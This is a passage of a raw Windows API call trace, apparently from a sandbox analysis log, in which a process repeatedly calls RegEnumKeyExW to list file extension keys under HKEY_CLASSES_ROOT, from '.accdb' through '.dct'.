returned 0x0 [0119.873] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x9, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".accdb", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.873] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xa, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".accdc", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.873] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xb, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".accde", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.873] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xc, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".accdr", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.873] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xd, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".accdt", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.873] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xe, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".accdu", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.874] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xf, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".accdw", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.874] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x10, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".accft", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.874] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x11, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".acl", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.874] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x12, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".acrobatsecuritysettings", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.874] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x13, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ade", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.874] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x14, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".adn", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.874] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x15, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".adp", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.874] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x16, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ADT", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.874] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x17, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ADTS", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.874] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x18, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ai", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.874] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x19, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".aif", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.874] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x1a, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".aifc", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.874] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x1b, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".aiff", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.874] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x1c, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ani", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.874] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x1d, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ans", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.874] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x1e, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".api", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.874] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x1f, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".application", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.874] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x20, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".appref-ms", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.874] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x21, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".aps", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.874] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x22, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".art", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.875] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x23, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".asa", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.875] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x24, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".asc", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.875] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x25, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ascx", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.875] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x26, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".asf", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.875] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x27, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".asm", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.875] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x28, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".asmx", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.875] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x29, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".asp", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.875] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x2a, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".aspx", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.875] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x2b, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".asx", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.875] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x2c, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".au", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.875] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x2d, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".avi", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.875] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x2e, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".aw", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.875] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x2f, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".bas", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.875] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x30, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".bat", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.875] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x31, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".bcp", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.875] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x32, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".bin", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.875] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x33, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".bkf", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.875] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x34, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".blg", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.875] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x35, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".bmp", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.875] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x36, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".bsc", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.876] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x37, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".c", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.876] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x38, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".c2r", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.876] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x39, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cab", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.876] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x3a, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".camp", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.876] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x3b, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cat", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.876] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x3c, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cc", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.876] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x3d, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cda", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.876] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x3e, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cdmp", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.876] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x3f, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cdx", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.876] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x40, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cer", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.876] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x41, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cgm", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.876] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x42, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".chk", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.876] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x43, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".chm", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.876] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x44, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cls", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.876] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x45, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cmd", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.876] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x46, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cod", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.876] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x47, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".com", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.876] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x48, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".compositefont", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.876] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x49, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".config", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x4a, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".contact", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x4b, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cpl", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x4c, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cpp", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x4d, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".crd", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x4e, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".crds", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x4f, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".crl", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x50, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".crt", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x51, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".crtx", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x52, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cs", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x53, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".csa", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x54, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".csproj", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x55, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".css", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x56, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".csv", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x57, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cur", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x58, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cxx", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x59, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dat", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5a, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".datasource", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5b, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".db", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5c, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dbg", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5d, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dbs", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5e, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dct", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5f, 